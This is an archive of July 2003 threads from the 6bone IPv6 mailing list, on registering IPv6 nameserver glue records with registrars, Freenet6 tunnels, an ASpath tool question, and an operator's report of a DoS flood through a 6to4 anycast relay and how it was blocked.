-----Original Message-----
From: Todd T. Fries [mailto:todd@fries.net]
Sent: Wednesday, July 02, 2003 8:55 AM
To: Piotr Zurawski
Cc: Jeroen Massar; 6bone@ISI.EDU
Subject: Re: [6bone] Re: moving fast


Perhaps my understanding with the individual I spoke to in the
'advanced dns team' was not the correct way of doing things, but I mentioned
something to the effect of `if you keep getting calls to do this type of
thing
manually, you will have an incentive to automate the process, and perhaps
make it available on the web domain management tool, eh?' to which the reply
was affirmative.

I consider `getting it to work' first order of business, and `getting it to
work well' 2nd order of business.

Hopefully the powers that be will recognize that the time and energy they
will
invest in 'putting out fires' by manually inserting IPv6 records into the
gtld database and/or updating them would be spent more wisely by developing
the web frontend to just allow the customer to manage this themselves.
Being
one who understands a thing or two about web frontends, I would expect this
change to not happen overnight.  True, I've not been told `it will happen',
but
what is desired is a process to put an IPv6 address into the gtld servers
for
a nameserver.  This has been mapped out now for one registrar.  Refining the
process is left as an exercise for the respective registrars and their
customers to hash out, no?
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)

Penned by Piotr Zurawski on Wed, Jul 02, 2003 at 08:45:07AM +0200, we have:
| I think calling the helpdesk isn't the way to solve the problem. We
| should rather look for someone being responsible for procedures,
| designing the services etc. . In most cases posting such issues to
| helpdesk is just being ignored by organization.
| 
| Best Regards,
| 
| Piotr
| ----- Original Message ----- 
| From: "Jeroen Massar" <jeroen@unfix.org>
| To: <todd@fries.net>; <6bone@ISI.EDU>
| Sent: Tuesday, July 01, 2003 11:58 PM
| Subject: RE: [6bone] Re: moving fast
| 
| 
| > Todd T. Fries wrote:
| >
| > > Just wanted to clarify.  This will only work for certain if you have
| > > network solutions as your registrar for the dns host registration in
| > > question.
| > >
| > > However, you may be able to talk your respective registrars into the
| > > same, as apparently it is possible.
| >
| > Do they have an email address over there?
| > As I don't like too call US numbers for a uncertain
| > (read: prolly quite long) amount of time from an dutch line.
| > (No, we don't have those ultra cheap telco's over here :)
| >
| > Greets,
| >  Jeroen
| >
| > _______________________________________________
| > 6bone mailing list
| > 6bone@mailman.isi.edu
| > http://mailman.isi.edu/mailman/listinfo/6bone
| >
_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

From cfaber@fpsn.net Wed Jul  2 14:19:52 2003
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Date: Wed, 02 Jul 2003 15:19:17 -0600
From: Colin Faber <cfaber@fpsn.net>
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Subject: Re: [6bone] email for 'advanced dns team'
References: <20030702131449.GU18908@fries.net>
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Which reminds me,

Is Network solutions, or any other registrar accepting IPv6 DNS entries now?


Todd T. Fries wrote:

> Initially, I asked `how should I point the masses to you guys?'  I received
> the response `the phone number will work just fine'.  Since then I have been
> informed that overseas customers would find an email address much less
> costly.   Repeating the question again has resulted in the following
> email address:
> 
> 	dnssupport@networksolutions.com
> 
> Happy IPv6'ing!

-- 
Colin Faber
(303) 859-1491
fpsn.net, Inc.
* Black holes are where God divided by zero. *


From todd@shadow.fries.net Wed Jul  2 15:02:20 2003
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Date: Wed, 2 Jul 2003 17:00:58 -0500
From: "Todd T. Fries" <todd@fries.net>
To: Colin Faber <cfaber@fpsn.net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] email for 'advanced dns team'
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Either read the older threads in this newsgroup at:

	http://mailman.isi.edu/pipermail/6bone/2003-July/thread.html

via the 'core ns registry' and 'moving fast' threads, or checkout the
more concise verbage I wrote at:

	http://deadly.org/article.php3?sid=20030702084202

In snort, it depends, they can, if they chose to.
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)

Penned by Colin Faber on Wed, Jul 02, 2003 at 03:19:17PM -0600, we have:
| Which reminds me,
| 
| Is Network solutions, or any other registrar accepting IPv6 DNS entries now?
| 
| 
| Todd T. Fries wrote:
| 
| >Initially, I asked `how should I point the masses to you guys?'  I received
| >the response `the phone number will work just fine'.  Since then I have 
| >been
| >informed that overseas customers would find an email address much less
| >costly.   Repeating the question again has resulted in the following
| >email address:
| >
| >	dnssupport@networksolutions.com
| >
| >Happy IPv6'ing!
| 
| -- 
| Colin Faber
| (303) 859-1491
| fpsn.net, Inc.
| * Black holes are where God divided by zero. *
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From jorgen@hovland.cx Wed Jul  2 17:50:04 2003
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Subject: Re: [6bone] moving fast
From: =?ISO-8859-1?Q?J=F8rgen?= Hovland <jorgen@hovland.cx>
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On Tue, 2003-07-01 at 20:24, Todd T. Fries wrote:
> Yesterday I said I got off the phone with Networks Soltuions and thought this
> was another year I could not register an IPv6 dns server.
> 
> Now, I'm on hold, on and off infact, with their advanced dns team, at
> the US number of 1-866-345-0330.
> 
> They are capable of putting in an IPv6 address for a dns server that
> has an existing IPv4 address.  For example (as sent to the 6bone mailing
> list):
> 
> 	whois -h whois.internic.net dot.ep.net
> 
> Is most definately registered as a v4 and v6 dns server.
> 
> If any of you out there are wanting to register an IPv6 address with
> your dns server for your domain, call the above number.  You may not
> get the same person I did, so you may need some patience while you
> explain to them the above information proves they can do it.
> 
> I have raised the bar one notch, however, and requested not only
> ns0.fries.net and ns1.fries.net get an additional ip that happens to
> be IPv6, but I've also requested that ns6.fries.net get registered
> as a host with an IPv6 record _only_.
> 
> This last bit may not be everyone's desire just yet, but I like to be
> forward thinking, and would like to push to have things ready when
> more and more do not need to register an IPv4 address to have a
> dns server.

Hi Todd
Have Networksolutions added your AAAA record ?
I remember Afrinic brought this up at ripe 44, but I guess thats not
quite the same.

Last year we emailed our registrar (it was not Network Solutions) a
couple of times about it, but they didnt understand what we asked for so
we just gave up.
This year we use Network Solutions, and we have emailed them a couple of
times too. First email recieved from them;

> Received: 04/09/2003 05:21pm Central Standard Time (GMT - 5:00 )
> To: customerservice@networksolutions.com
> Subject: REG1HST How do I switch ISPs or update my name servers?

They too didnt understand what we asked for. They actually told us to
contact our service provider to fix it (hey thats us).
After they tried offering us their "Advanced DNS Management" service,
the last response from them was

>Date: Tue, 24 Jun 2003 22:47:06 GMT
>
>Thank you for contacting Network Solutions.
>
>Upon review of our recent communications, it has become apparent that
>we may not be able to resolve this situation via e-mail.
>
>So that we may resolve this issue in an expedited manner, please call
>us 24 hours a day, at 1-888-642-9675 and a representative will be happy
>to help you. If you are calling from outside of the U.S. dial
>1-703-742-0914.
>
>Thank you for your patience.

Now, I have called Network Solutions before. It took me over 1 hour to
get my question through (it was non-ipv6 related), and I had to pay them
money to get a person that understood what I was talking about
(vip-support or something). Asking them for aaaa-records would probably
take thrice the time, and I will probably have to pay them again. I am
not going to do this if the answer is "no we cant add your v6 glue
record". I just mailed the dnssupport@-mail you gave. I hope the people
answering is not the same as customerservice@  :-) Please tell me when
they add your v6 record. Then I know that calling them will work.

Joergen Hovland


From kim@tac.nyc.ny.us Thu Jul  3 20:25:36 2003
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I'm happy to report that directNIC.com can manually enter IPv6 addresses.
A Product Development Manager responded to my support ticket:

   "I understand the need to the ability to create IPv6 nameservers.
    [...]

   "Currently it does not allow IPv6 to be associated with a nameserver,
    but I have added it to the list of things that will be added shortly.
    If you need an IPv6 nameserver created before it's added, please let
    me know all of the information and I will get it created."

From past experience, when they say they'll implement a feature, it does
not take long for it to appear on the production website.  They have also
always been very responsive in their support.

Now if only the root and gtld servers had IPv6 addresses...  :-)

Regards,
+ Kim


    Server Name: GRENDEL.GW.COM
    IP Address: 2001:240:584:1:260:8FF:FEC6:332C
    IP Address: 204.80.150.1
    Registrar: INTERCOSMOS MEDIA GROUP, INC. D/B/A DIRECTNIC.COM
    Whois Server: whois.directnic.com
    Referral URL: http://www.directnic.com

From guangxm@ctbri.com.cn Thu Jul  3 23:54:11 2003
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Subject: [6bone] ASpath trouble
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hello recently i just build ASpath in our ipv6 testbed.

sixbone ---- BII(AS10109) --v6v4 tunnel--- Cisco GSR(AS4134) ---v6-- CIsco
7600(AS64610) --v6v4 tunnel--- LINUX/ZEBRA0.93b(AS64610).

after run update-rtree, we got empty bgp tree only with SITENAME there. BTW
we add corresponding enties in as.table/ipv6-prefix.table/force.as.table
with our sitename and its AS.

anyway thanks alot for your help on this issue.
anthony



----- Original Message ----- 
From: <6bone-admin@mailman.isi.edu>
To: <todd@fries.net>; <6bone@ISI.EDU>
Sent: Wednesday, July 02, 2003 5:58 AM
Subject: RE: [6bone] Re: moving fast


> 
> 
> Todd T. Fries wrote:
> 
> > Just wanted to clarify.  This will only work for certain if you have
> > network solutions as your registrar for the dns host registration in
> > question.
> >
> > However, you may be able to talk your respective registrars into the
> > same, as apparently it is possible.
> 
> Do they have an email address over there?
> As I don't like too call US numbers for a uncertain
> (read: prolly quite long) amount of time from an dutch line.
> (No, we don't have those ultra cheap telco's over here :)
> 
> Greets,
>  Jeroen
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
>  http://mailman.isi.edu/mailman/listinfo/6bone
> 
> 

From mohacsi@evil.ki.iif.hu Fri Jul  4 00:49:32 2003
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Hello,



On Fri, 4 Jul 2003, guang xiaoming wrote:

> hello recently i just build ASpath in our ipv6 testbed.
>
> sixbone ---- BII(AS10109) --v6v4 tunnel--- Cisco GSR(AS4134) ---v6-- CIsco
> 7600(AS64610) --v6v4 tunnel--- LINUX/ZEBRA0.93b(AS64610).
>
> after run update-rtree, we got empty bgp tree only with SITENAME there. BTW
> we add corresponding enties in as.table/ipv6-prefix.table/force.as.table
> with our sitename and its AS.
>
> anyway thanks alot for your help on this issue.
> anthony
>


The update-rtree usually part of the ASpath-tree tool developed by TILAB,
Italy. Accroding to the documentation you should use -u to update registry
informations and -r to recover to the previously used local information
bases. As I recognize you are using private AS numbers internally (see
http://www.iana.org/assignments/as-numbers) and therefore no registry
entry for them.

I hope this helped.


Janos Mohacsi
Network Engineer, Research Associate
NIIF/HUNGARNET, HUNGARY
Key 00F9AF98: 8645 1312 D249 471B DBAE  21A2 9F52 0D1F 00F9 AF98

From old_mc_donald@hotmail.com Fri Jul  4 05:35:07 2003
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Subject: [6bone] Freenet6
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Hi All,

I don't know if I missed any news, but Freenet6 site is down,

are they still providing tunnels or have they gone by the wayside?

I recommended them for a friend in the UK and now I have to recommend
someone else.
He is asking for a permanent test address, any ideas?
thanks

Gav...


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
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From tjc@ecs.soton.ac.uk Fri Jul  4 07:36:30 2003
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From: Tim Chown <tjc@ecs.soton.ac.uk>
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Subject: Re: [6bone] Freenet6
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I doubt freenet6 is gone.

Why not recommend a UK tunnel broker to a UK user?

Tim

On Fri, Jul 04, 2003 at 08:35:00PM +0800, Gav wrote:
> Hi All,
> 
> I don't know if I missed any news, but Freenet6 site is down,
> 
> are they still providing tunnels or have they gone by the wayside?
> 
> I recommended them for a friend in the UK and now I have to recommend
> someone else.
> He is asking for a permanent test address, any ideas?
> thanks
> 
> Gav...
> 
> 
> ---
> Checked for Viruses (Viri) , Gav...
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.493 / Virus Database: 292 - Release Date: 25/06/2003
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

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Date: Fri, 04 Jul 2003 11:09:23 -0400
From: Florent Parent <Florent.Parent@viagenie.qc.ca>
To: Gav <old_mc_donald@hotmail.com>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Freenet6
Message-ID: <23890000.1057331363@blues.hexago.com>
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Service is still up. Check http://www.freenet6.net

In summary, get the new TSP client and use tsps2.freenet6.net (new server). 
The previous server tsps1.freenet2.net is still up but we are currently 
working on solving some problems.

If you still experience problems, please send us an email 
support@freenet6.net

Regards,
Florent

-- 
Florent Parent
Hexago   http://www.hexago.com
+1-418-266-5533, +1-418-266-5539 (fax)



--On Friday, July 04, 2003 20:35:00 +0800 Gav <old_mc_donald@hotmail.com> 
wrote:

> Hi All,
>
> I don't know if I missed any news, but Freenet6 site is down,
>
> are they still providing tunnels or have they gone by the wayside?
>
> I recommended them for a friend in the UK and now I have to recommend
> someone else.
> He is asking for a permanent test address, any ideas?
> thanks
>
> Gav...
>
>
> ---
> Checked for Viruses (Viri) , Gav...
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.493 / Virus Database: 292 - Release Date: 25/06/2003
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone





From bmanning@ISI.EDU Fri Jul  4 12:03:53 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200307041903.h64J3jU03834@boreas.isi.edu>
Subject: Re: [6bone] core ns registry database
In-Reply-To: <20030704032511.271517E03@beowulf.gw.com> from Kimmo Suominen at "Jul 3, 3 11:25:11 pm"
To: kim@tac.nyc.ny.us (Kimmo Suominen)
Date: Fri, 4 Jul 2003 12:03:45 -0700 (PDT)
Cc: 6bone@ISI.EDU
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	for those who wish, there is a testbed that has native IPv6
	root and many tld servers visable/available for those who
	wish to trial native IPv6 services.

		www.rs.net  for details 




% I'm happy to report that directNIC.com can manually enter IPv6 addresses.
% A Product Development Manager responded to my support ticket:
% 
%    "I understand the need to the ability to create IPv6 nameservers.
%     [...]
% 
%    "Currently it does not allow IPv6 to be associated with a nameserver,
%     but I have added it to the list of things that will be added shortly.
%     If you need an IPv6 nameserver created before it's added, please let
%     me know all of the information and I will get it created."
% 
% >From past experience, when they say they'll implement a feature, it does
% not take long for it to appear on the production website.  They have also
% always been very responsive in their support.
% 
% Now if only the root and gtld servers had IPv6 addresses...  :-)
% 
% Regards,
% + Kim
% 
% 
%     Server Name: GRENDEL.GW.COM
%     IP Address: 2001:240:584:1:260:8FF:FEC6:332C
%     IP Address: 204.80.150.1
%     Registrar: INTERCOSMOS MEDIA GROUP, INC. D/B/A DIRECTNIC.COM
%     Whois Server: whois.directnic.com
%     Referral URL: http://www.directnic.com
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From wildfire@progsoc.uts.edu.au Sat Jul  5 23:38:33 2003
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Subject: Root server testbed was: [6bone] core ns registry database
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On Fri, Jul 04, 2003 at 12:03:45PM -0700, Bill Manning wrote:
> 
> 	for those who wish, there is a testbed that has native IPv6
> 	root and many tld servers visable/available for those who
> 	wish to trial native IPv6 services.
> 
> 		www.rs.net  for details 
> 

Hi Bill,

Thanks for the pointer, I wasn't aware of rs.net (or otdr or rssac.org
either for that matter); I was somewhat interested in reading about the 
outcome of your IPv6 testbed <URL: http://www.rssac.org/kato-v6-root.html>.

Unfortunately that link results in a 404 not found; do you know if there
is a local/alternative copy?

Thanks,
Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From hultq@iafrica.com Sun Jul  6 15:56:00 2003
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From: Marc Hultquist <hultq@iafrica.com>
To: 6bone@mailman.isi.edu
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Organization: The Hultquist Family
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I Have just finished tinkering with the Freenet6 client
and installing it and putting in all the configuration options into my
tspc.conf file, such as the username etc.

I just wanted to check

After doing a apt-get install freenet6 and putting in the username=
and password= options, I then did a /etc/init.d/freenet6 restart
and fine it all works.
Galileo:/etc/freenet6# /etc/init.d/freenet6 restart
Resetting freenet IPv6 tunnel (sit1): SIOGIFINDEX: No such device
Error while executing /sbin/ifconfig
   Command: /sbin/ifconfig inet6 del 3ffe:bc0:8000::427/128
3ffe:bc0:8000::427/128
Galileo:/etc/freenet6#

Now, what I really wanted to ask, is when I do a ifconfig it comes up
with the following.
sit1      Link encap:IPv6-in-IPv4
          inet6 addr: 3ffe:bc0:8000::427/128 Scope:Global
          inet6 addr: fe80::c41e:7eea/10 Scope:Link
          inet6 addr: fe80::a00:6/10 Scope:Link
          UP POINTOPOINT RUNNING NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

Does this mean that I have the tunnel working and functional ? I.E is
this Desktop pc of mine now ipv6 enabled ? Or is there something I am
missing here. ? I know I put in all the correct information into the
conf files etc. Is there anything else I should do now ? Sorry to sound
like such a fool on the issue, but I am completly new to ipv6(IPng) and
I only really started tinkering with it tonight....... Could someone
maybe tell me if there is anything else I need to do ? I installed pin6
and traceroute6 and all that, and I can ping and tracert to ipv6 enabled
hosts ? 

So should I or do i need to do anything else? Just for arbs sake, I am
running a Debian Linux 3.0 System....

Regards

-- 
Marc Hultquist <hultq@iafrica.com>
The Hultquist Family


From gall@switch.ch Thu Jul 10 02:43:51 2003
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From: Alexander Gall <gall@switch.ch>
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Date: Thu, 10 Jul 2003 11:43:42 +0200
To: 6bone@ISI.EDU
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Subject: [6bone] DoS attacks through 6to4 anycast relay
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We (SWITCH) are running one of the (still few) 6to4 anycast relays.
Normally, traffic rates are very low (last month's average input was a
little over 200kbps) but there were some spikes of several Mbps in the
past week.  On Tuesday and Wednesday, the traffic was enough to
severely disrupt our 7206VXR that serves as relay and terminates some
6bone tunnels as well.

We are currently testing an IOS image with IPv6 netflow support on
that router, so I was able to see what was going on yesterday evening
(17:00 - 18:30 UTC+2).  The number of active flows climbed to almost
3000 (from a normal 100-300).  This was due to short UDP flows with
random source and destination ports from 2002:3ED3:10C:: to
3FFE:8171:61::11 like these

SrcAddress        InpIf    DstAddress       OutIf    Prot SrcPrt DstPrt Packets 
2002:3ED3:10C::   Tu2      3FFE:8171:61::11 Gi4/0    0x11 0x203D 0x8032 150     
2002:3ED3:10C::   Tu2      3FFE:8171:61::11 Gi4/0    0x11 0x043D 0x9432 180     
2002:3ED3:10C::   Tu2      3FFE:8171:61::11 Gi4/0    0x11 0xAA89 0x8A8E 60      
2002:3ED3:10C::   Tu2      3FFE:8171:61::11 Gi4/0    0x11 0xCE89 0xDE8E 160     
2002:3ED3:10C::   Tu2      3FFE:8171:61::11 Gi4/0    0x11 0xF289 0x328E 160     

Netflow made this easy to spot but the large number of flows is
probably also the main reason why the router performed very badly
during the event :-( 

Traffic peaked at 18Mbps before I blocked packets from 62.211.1.12 to
192.88.99.1 at the upstream router.

The source points to 

inetnum:      62.211.1.0 - 62.211.1.255
netname:      TIN
descr:        Telecom Italia S.p.A
descr:        E@sy.ip ADSL service OSPF Area 1
descr:        Wholesale service for ISP
country:      IT
admin-c:      BS104-RIPE
tech-c:       BS104-RIPE
status:       ASSIGNED PA
remarks:      Please send abuse notification to abuse@telecomitalia.it
notify:       ripe-staff@telecomitalia.it
mnt-by:       TIWS-MNT
changed:      net_ti@telecomitalia.it 20020801
source:       RIPE

but that may well be spoofed.

The destination resloves to an interesting name (with only a AAAA RR):
rootk.it :-)

I take this as a good sign that IPv6 is finally catching on ;-)

--
Alex
SWITCH-NOC



From jeroen@unfix.org Thu Jul 10 04:10:55 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Alexander Gall'" <gall@switch.ch>, <6bone@ISI.EDU>
Subject: RE: [6bone] DoS attacks through 6to4 anycast relay
Date: Thu, 10 Jul 2003 13:10:39 +0200
Organization: Unfix
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Alexander Gall wrote:

> The destination resloves to an interesting name (with only a AAAA RR):
> rootk.it :-)
> 
> I take this as a good sign that IPv6 is finally catching on ;-)

I take it that IPv6 is still only used by most people for having
a cool reverse dns on IRC. And that some other annoying persons
still need to disrupt the working of IPv6 by (d)dossing the POPs
of various access providers to get rid of those people.

This has been the same for the last 5 years or so, though
I must say that I've seen a lot less going to our POPs.
But that's quite possibly also because of our strict policies
to whom we give service to.

Also I must note that .it is usually a source for problems.
Which is too bad for them as it really puts them on the blacklist
so even people from .it who really are sincere are affected
by the few who try to spoil it. But that is usually the case.

I hope ISP's mature and start fixing their networks so
these stupid and irritating effects stop happening.

Greets,
 Jeroen


From dan@reeder.name Thu Jul 10 04:26:16 2003
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From: "Dan Reeder" <dan@reeder.name>
To: "Alexander Gall" <gall@switch.ch>, <6bone@ISI.EDU>
References: <16141.13646.546257.420062@switch.ch>
Subject: Re: [6bone] DoS attacks through 6to4 anycast relay
Date: Thu, 10 Jul 2003 21:26:12 +1000
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> I take this as a good sign that IPv6 is finally catching on ;-)

Well yes, but only good as far as using an infrastructure the equivilant of
the late 80s internet combined with all the lusers the new millennium
brings.

I dont understand why some people assumed that using ipv6 would mean no ddos
attacks. I just hope the v6 internet will survive over the coming years
without too many 'global catastrophes'. As it is I doubt it would take too
much effort at all to bring things to a standstill.

Dan


----- Original Message ----- 
From: "Alexander Gall" <gall@switch.ch>
To: <6bone@ISI.EDU>
Sent: Thursday, July 10, 2003 7:43 PM
Subject: [6bone] DoS attacks through 6to4 anycast relay


> We (SWITCH) are running one of the (still few) 6to4 anycast relays.
> Normally, traffic rates are very low (last month's average input was a
> little over 200kbps) but there were some spikes of several Mbps in the
> past week.  On Tuesday and Wednesday, the traffic was enough to
> severely disrupt our 7206VXR that serves as relay and terminates some
> 6bone tunnels as well.
>
> We are currently testing an IOS image with IPv6 netflow support on
> that router, so I was able to see what was going on yesterday evening
> (17:00 - 18:30 UTC+2).  The number of active flows climbed to almost
> 3000 (from a normal 100-300).  This was due to short UDP flows with
> random source and destination ports from 2002:3ED3:10C:: to
> 3FFE:8171:61::11 like these
>
> SrcAddress        InpIf    DstAddress       OutIf    Prot SrcPrt DstPrt
Packets
> 2002:3ED3:10C::   Tu2      3FFE:8171:61::11 Gi4/0    0x11 0x203D 0x8032
150
> 2002:3ED3:10C::   Tu2      3FFE:8171:61::11 Gi4/0    0x11 0x043D 0x9432
180
> 2002:3ED3:10C::   Tu2      3FFE:8171:61::11 Gi4/0    0x11 0xAA89 0x8A8E 60
> 2002:3ED3:10C::   Tu2      3FFE:8171:61::11 Gi4/0    0x11 0xCE89 0xDE8E
160
> 2002:3ED3:10C::   Tu2      3FFE:8171:61::11 Gi4/0    0x11 0xF289 0x328E
160
>
> Netflow made this easy to spot but the large number of flows is
> probably also the main reason why the router performed very badly
> during the event :-(
>
> Traffic peaked at 18Mbps before I blocked packets from 62.211.1.12 to
> 192.88.99.1 at the upstream router.
>
> The source points to
>
> inetnum:      62.211.1.0 - 62.211.1.255
> netname:      TIN
> descr:        Telecom Italia S.p.A
> descr:        E@sy.ip ADSL service OSPF Area 1
> descr:        Wholesale service for ISP
> country:      IT
> admin-c:      BS104-RIPE
> tech-c:       BS104-RIPE
> status:       ASSIGNED PA
> remarks:      Please send abuse notification to abuse@telecomitalia.it
> notify:       ripe-staff@telecomitalia.it
> mnt-by:       TIWS-MNT
> changed:      net_ti@telecomitalia.it 20020801
> source:       RIPE
>
> but that may well be spoofed.
>
> The destination resloves to an interesting name (with only a AAAA RR):
> rootk.it :-)
>
> I take this as a good sign that IPv6 is finally catching on ;-)
>
> --
> Alex
> SWITCH-NOC
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone



From gall@switch.ch Thu Jul 10 04:57:23 2003
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To: "Jeroen Massar" <jeroen@unfix.org>
Cc: <6bone@ISI.EDU>
Subject: Re: [6bone] DoS attacks through 6to4 anycast relay
References: <002401c346d3$e55829f0$210d640a@unfix.org>
From: Alexander Gall <gall@switch.ch>
Date: 10 Jul 2003 13:57:15 +0200
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On Thu, 10 Jul 2003 13:10:39 +0200, "Jeroen Massar" <jeroen@unfix.org> said:

> Alexander Gall wrote:
>> The destination resloves to an interesting name (with only a AAAA RR):
>> rootk.it :-)
>> 
>> I take this as a good sign that IPv6 is finally catching on ;-)

> I take it that IPv6 is still only used by most people for having
> a cool reverse dns on IRC. And that some other annoying persons
> still need to disrupt the working of IPv6 by (d)dossing the POPs
> of various access providers to get rid of those people.

Note the ;-) above.  However, so far these have been singular events
at our 6to4 relay (that's why I thought it's worth mentioning).
AFAICS, nobody is really using the anycast relay for *anything* (the
100-300 flows I reported before include all traffic flowing through
our IPv6 backbone; actual 6to4 traffic is just a fraction, mostly
pings and some DNS queries).

--
Alex


From pim@ipng.nl Thu Jul 10 08:20:58 2003
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Date: Thu, 10 Jul 2003 17:20:54 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Alexander Gall <gall@switch.ch>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] DoS attacks through 6to4 anycast relay
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Alex,

| We (SWITCH) are running one of the (still few) 6to4 anycast relays.
| Normally, traffic rates are very low (last month's average input was a
| little over 200kbps) but there were some spikes of several Mbps in the
| past week.  

I'd like to react to the 'still few' comment above. At AS12859, I've
been playing with the idea to start announcing the IPv4 anycast and
2002::/16, but I'm not entirely sure I'm willing to provide IPv4 transit
to and from foreign networks. On the other hand, < 1 Mbps traffic is
nothing to really worry about. The administration and 'looking after the
box' is something I'm more worried about.

The IPv6 side is fine by me -- we do not pay for transit at the moment.
The IPv4 side worries me in a particular way:

If I announce 192.88.99.0/24 to everybody (peers and IP uplinks), I 
attract everybody's traffic. In order to control this, I can announce it
only to peers. This way, incoming 6to4 traffic will be relayed from IPv4
peers into IPv6 peers. Does not cost anything -> good idea :-)

If I announce 2002::/16 however, I attract other peoples
2002:<v4prefix>:: traffic, which I would then have to forward back via
IPv4, possibly using an IP uplink. I cannot filter this traffic, because
people can not stear which 2002::/16 announcer their traffic will go to
that easily. I cannot announce a more specific into the IPv6 DFZ, 
allthough I'd REALLY like to announce '2002:213.136.0.0::/35'. I am
aware of the problems in doing so however.

Bottom line: I have not persued this any further. If the community is
interrested, I can easily be persuaded to proceed with a relay
deployment from AS12859 (nl.bit). 

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From gert@Space.Net Thu Jul 10 09:47:13 2003
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From: Gert Doering <gert@space.net>
To: Pim van Pelt <pim@ipng.nl>
Cc: Alexander Gall <gall@switch.ch>, 6bone@ISI.EDU
Subject: Re: [6bone] DoS attacks through 6to4 anycast relay
Message-ID: <20030710184710.W67740@Space.Net>
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Hi,

On Thu, Jul 10, 2003 at 05:20:54PM +0200, Pim van Pelt wrote:
> Bottom line: I have not persued this any further. If the community is
> interrested, I can easily be persuaded to proceed with a relay
> deployment from AS12859 (nl.bit). 

I think it will already be helpful if you (and everybody else) run an 
6to4 relay just for yourself and your customers.

That is: run it, but don't announce the IPv4 anycast address or the 
2002:: address to any non-customers.  (You have to give it to the
customers, otherwise you'll take away the connectivity for them).

That way your customers can get quick 6to4 access (both ways, either
using 6to4 addresses internally, or talking from native v6 to 6to4
users elsewhere), and you don't have to pay for non-customer traffic.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55442  (55636)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gall@switch.ch Thu Jul 10 10:50:05 2003
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To: Pim van Pelt <pim@ipng.nl>
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Subject: Re: [6bone] DoS attacks through 6to4 anycast relay
References: <16141.13646.546257.420062@switch.ch>
	<20030710152054.GA15755@bfib.colo.bit.nl>
From: Alexander Gall <gall@switch.ch>
Date: 10 Jul 2003 19:49:57 +0200
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On Thu, 10 Jul 2003 17:20:54 +0200, Pim van Pelt <pim@ipng.nl> said:

> If I announce 2002::/16 however, I attract other peoples
> 2002:<v4prefix>:: traffic, which I would then have to forward back via
> IPv4, possibly using an IP uplink. I cannot filter this traffic, because
> people can not stear which 2002::/16 announcer their traffic will go to
> that easily. I cannot announce a more specific into the IPv6 DFZ, 
> allthough I'd REALLY like to announce '2002:213.136.0.0::/35'. I am
> aware of the problems in doing so however.

All networks with global IPv6 connectivity should simply provide a
6to4 router that handles all traffic to 2002::/16 from their
customers.  In the best case, 2002::/16 would not need to be in the
global routing table at all.

I don't know how widespread this pratice already is, but at least the
amount of traffic we attract with our own anounncement of 2002::/16 is
just a small fraction of that coming in on the anycast address, i.e. a
few kbps.

> Bottom line: I have not persued this any further. If the community is
> interrested, I can easily be persuaded to proceed with a relay
> deployment from AS12859 (nl.bit). 

It is clear that this kind of transit will not work forever.  I
believe that it will no longer be necessary by the time when things
start to cost real money.

--
Alex



From todd@shadow.fries.net Thu Jul 10 19:56:54 2003
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Date: Thu, 10 Jul 2003 21:55:16 -0500
From: "Todd T. Fries" <todd@fries.net>
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I've had a few people email me as 'disbelievers until this actually went
through'.  I just checked, and it has.  You too can see me with a v6 dns
server via 'whois -h whois.internic.net ns0.fries.net', ns1.fries.net,
and ns6.fries.net.

The above whois command can show that ns6.fries.net exists, but it is not
yet tied to my domain (ns6.fries.net is the IPv6 _only_ dns server, with no
IPv4).  If you do 'host -v -t any fries.net a.gtld-servers.net' you will
note the absence of ns6.fries.net.

But at least we're getting somewhere ;-)

Now the bad news.  Username and password are required (at this time) for this
to take place.  I seriously hope in the future their web form allows people
to set this information for themselves and not require such information.

One final note.  I hope you guys don't mind me mentioning this, but I've
been made aware of an opportunity for some prize money for those of you
active in the IPv6 community.  See http://www.v6pc.jp/apc/en/concept.html
